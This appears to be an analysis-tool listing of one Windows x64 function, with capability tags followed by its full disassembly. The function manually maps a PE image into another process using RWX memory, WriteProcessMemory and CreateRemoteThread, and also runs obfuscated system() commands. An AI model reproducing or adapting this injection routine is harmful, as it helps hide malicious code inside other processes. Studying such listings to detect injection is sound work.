Function at 0x140007140
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute command
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
movzx r12d, r9b
mov rsi, rdx
mov r14, rcx
xor edi, edi
mov eax, 0x5a4d
cmp word [rdx], ax
je 0x1400071b2
mov dword [rbp - 0x78], 0xedfde4c0
mov dword [rbp - 0x74], 0xb0ebe7e1
mov dword [rbp - 0x70], 0xf1fffbf7
mov word [rbp - 0x6c], 0x9f
mov byte [rbp - 0x6a], 1
lea rcx, [rbp - 0x78]
call fcn.140008b10
lea rcx, [rbp - 0x78]
call fcn.140005de0
xor al, al
jmp 0x140007ce8
movsxd r15, dword [rdx + 0x3c]
add r15, rsi
mov eax, 0x8664
cmp word [r15 + 4], ax
je 0x1400071f5
movdqa xmm0, xmmword [0x14001bfe0]
movdqu xmmword [rbp - 0x78], xmm0
mov word [rbp - 0x68], 0x93
mov byte [rbp - 0x66], 1
lea rcx, [rbp - 0x78]
call fcn.140008410
lea rcx, [rbp - 0x78]
call fcn.140005de0
xor al, al
jmp 0x140007ce8
mov r8d, dword [r15 + 0x50]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x14000726e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14001bfd0]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x14001bf40]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [0x14001bee0]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x100b0e1
lea rcx, [rsp + 0x40]
call fcn.140008a10
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005de0
xor al, al
jmp 0x140007ce8
mov dword [rbp - 0x60], edi
mov r8d, dword [r15 + 0x50]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rbp - 0x30], rdi
mov dword [rbp - 0x24], edi
mov dword [rbp - 0x14], edi
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp - 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r13
mov eax, dword [rbp + 0xb8]
mov dword [rbp - 0x28], eax
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x20], rax
movzx eax, byte [rbp + 0xb0]
mov dword [rbp - 0x18], eax
mov qword [rsp + 0x20], rdi
mov r9d, 0x1000
mov r8, rsi
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140007367
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14001c040]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xfdfef2b9
mov dword [rsp + 0x54], 0x80edfbf9
mov dword [rsp + 0x58], 0xfc86da91
mov word [rsp + 0x5c], 0xaf
mov byte [rsp + 0x5e], 1
lea rcx, [rsp + 0x40]
call fcn.140008790
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140007ce8
movzx ebx, word [r15 + 0x14]
add rbx, 0x2c
cmp word [r15 + 6], di
je 0x1400073bf
add rbx, r15
nop word [rax + rax]
mov eax, dword [rbx - 4]
test eax, eax
je 0x1400073b0
mov r9d, eax
mov r8d, dword [rbx]
add r8, rsi
mov edx, dword [rbx - 8]
add rdx, r13
mov qword [rsp + 0x20], 0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000745d
inc edi
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp edi, eax
jne 0x140007380
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
lea r8d, [rdx + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rbp - 0x78], rax
test rax, rax
jne 0x1400074c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14001bfd0]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x14001bf50]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [0x14001bf20]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0xb1e29c
mov byte [rsp + 0x74], 1
lea rcx, [rsp + 0x40]
call fcn.140008a90
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140007ce8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14001bff0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xbca1e9f7
mov dword [rsp + 0x54], 0xd8bae6ad
mov word [rsp + 0x58], 0xab
mov byte [rsp + 0x5a], 1
lea rcx, [rsp + 0x40]
call fcn.140008590
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140007ce8
xor ebx, ebx
mov qword [rsp + 0x20], rbx
lea r9d, [rbx + 0x40]
lea r8, [rbp - 0x50]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140007559
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14001bf70]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xbcfcf4f0
mov dword [rsp + 0x54], 0xf8bae6ad
mov word [rsp + 0x58], 0xab
mov byte [rsp + 0x5a], 1
lea rcx, [rsp + 0x40]
call fcn.140008590
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140007ce8
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov qword [rbp - 0x58], rax
test rax, rax
jne 0x140007617
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14001c030]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x14001bf30]
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x60], 0x848bcecc
mov dword [rsp + 0x64], 0x9086d6c8
mov dword [rsp + 0x68], 0xec96ca81
mov word [rsp + 0x6c], 0xbf
mov byte [rsp + 0x6e], 1
lea rcx, [rsp + 0x40]
call fcn.140008990
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140007ce8
mov qword [rsp + 0x20], rbx
mov r9d, 0x1000
lea r8, [0x140007dc0]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400076cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14001bfc0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xf8f4f9f5
mov dword [rsp + 0x54], 0xd8afbef8
mov dword [rsp + 0x58], 0xa9fa84
mov byte [rsp + 0x5c], 1
lea rcx, [rsp + 0x40]
call fcn.140008690
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140007ce8
mov edx, 0x1e
lea rcx, [rbp - 0x10]
call fcn.140007d10
nop
mov dword [rbp + 0x88], 0xf8e6ea
mov byte [rbp + 0x8c], 1
lea rcx, [rbp + 0x88]
call fcn.140008310
lea rcx, [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x78], 0xe3e7e5ea
mov dword [rsp + 0x7c], 0xeeaeff
mov byte [rbp - 0x80], 1
lea rcx, [rsp + 0x78]
call fcn.140008390
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
jb 0x140007742
mov rcx, qword [rbp - 0x10]
call fcn.1400053d0
mov rcx, rax
call fcn.140005de0
mov edx, 0x12c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400077ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14001bf10]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xf0f2fbff
mov dword [rsp + 0x54], 0x90bffaf8
mov dword [rsp + 0x58], 0xaefb87d9
mov word [rsp + 0x5c], 0x100
lea rcx, [rsp + 0x40]
call fcn.140008710
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005de0
jmp 0x140007c62
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x88], ebx
lea rdx, [rbp + 0x88]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ebx, dword [rbp + 0x88]
cmp ebx, 0x103
jne 0x140007ca3
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rbp + 0x10]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp + 0x30]
cmp rbx, 0x404040
je 0x140007c38
cmp rbx, 0x505050
jne 0x140007888
movdqa xmm0, xmmword [0x14001bfb0]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x14001bf60]
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x60], 0xa18bcd
mov byte [rsp + 0x64], 1
lea rcx, [rsp + 0x40]
call fcn.140008910
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x1400077d7
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x1400078f3
movdqa xmm0, xmmword [0x14001c010]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xf1bbffed
mov dword [rsp + 0x54], 0xd2f0f3f8
mov dword [rsp + 0x58], 0x100a8d8
lea rcx, [rsp + 0x40]
call fcn.140008610
lea rcx, [rsp + 0x40]
call fcn.140005de0
jmp 0x140007cda
xor edx, edx
mov r8d, 0x1400000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
test r12b, r12b
je 0x140007926
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, rbx
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp byte [rbp + 0xa0], 0
je 0x140007ab1
movzx edi, word [r15 + 0x14]
add rdi, 0x18
add rdi, r15
xor esi, esi
cmp word [r15 + 6], si
je 0x140007ab1
lea rdx, [0x14001beb8]
lea r8, [0x14001bec0]
lea r9, str..reloc
movzx r12d, byte [rbp + 0xb0]
nop dword [rax]
cmp dword [rdi + 8], 0
je 0x140007a9e
test r12b, r12b
jne 0x140007996
xor ecx, ecx
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140007996
cmp rcx, 7
jne 0x140007981
jmp 0x1400079d8
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x1400079b6
cmp rcx, 6
jne 0x1400079a0
jmp 0x1400079d8
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140007a9e
cmp rcx, 7
jne 0x1400079c0
movdqa xmm0, xmmword [0x14001c020]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xfdedf5f4
mov dword [rsp + 0x54], 0x10094f1
lea rcx, [rsp + 0x40]
call fcn.140008510
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov r9d, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
add rdx, r13
mov qword [rsp + 0x20], 0
mov r8, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140007a89
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14001bfa0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xbcf5f5f0
mov dword [rsp + 0x54], 0x80a5edb8
mov dword [rsp + 0x58], 0xdc86da91
mov word [rsp + 0x5c], 0xaf
mov byte [rsp + 0x5e], 1
lea rcx, [rsp + 0x40]
call fcn.140008790
mov r8d, ebx
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov rbx, qword [rsp + 0x78]
lea r9, str..reloc
lea r8, [0x14001bec0]
lea rdx, [0x14001beb8]
inc esi
add rdi, 0x28
movzx eax, word [r15 + 6]
cmp esi, eax
jne 0x140007970
cmp byte [rbp + 0xa8], 0
je 0x140007be4
movzx ebx, word [r15 + 0x14]
add rbx, 0x18
add rbx, r15
xor esi, esi
cmp word [r15 + 6], si
je 0x140007bb8
lea r12d, [rsi + 0x20]
nop dword [rax + rax]
mov ecx, dword [rbx + 8]
test ecx, ecx
je 0x140007ba5
mov dword [rbp + 0x88], 0
mov eax, dword [rbx + 0x24]
test eax, 0x80000000
jbe 0x140007b06
mov edi, 4
jmp 0x140007b14
test eax, 0x20000000
mov edi, 2
cmova edi, r12d
mov r8, rcx
mov edx, dword [rbx + 0xc]
add rdx, r13
lea rax, [rbp + 0x88]
mov qword [rsp + 0x20], rax
mov r9d, edi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140007b68
movdqa xmm0, xmmword [0x14001c000]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xf0bebaea
mov dword [rsp + 0x54], 0x10094c5
lea rcx, [rsp + 0x40]
call fcn.140008510
lea rcx, [rsp + 0x40]
jmp 0x140007b9a
movdqa xmm0, xmmword [0x14001bf80]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x14001bef0]
movdqu xmmword [rsp + 0x50], xmm1
mov word [rsp + 0x60], 0x100
lea rcx, [rsp + 0x40]
call fcn.140008890
lea rcx, [rsp + 0x40]
mov r8d, edi
mov rdx, rbx
call fcn.140005de0
inc esi
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp esi, eax
jne 0x140007ae0
mov dword [rbp - 0x5c], 0
movzx eax, word [r15 + 0x14]
mov r8d, dword [rax + r15 + 0x24]
lea rax, [rbp - 0x5c]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp - 0x58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp - 0x78]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov bl, 1
jmp 0x140007cdc
movdqa xmm0, xmmword [0x14001bf90]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x10090eb
lea rcx, [rsp + 0x40]
call fcn.140008490
lea rcx, [rsp + 0x40]
call fcn.140005de0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140007cda
movdqa xmm0, xmmword [0x14001bf00]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x14001bed0]
movdqu xmmword [rsp + 0x50], xmm1
mov byte [rsp + 0x60], 1
lea rcx, [rsp + 0x40]
call fcn.140008810
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005de0
xor bl, bl
lea rcx, [rbp - 0x10]
call fcn.140004a60
movzx eax, bl
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret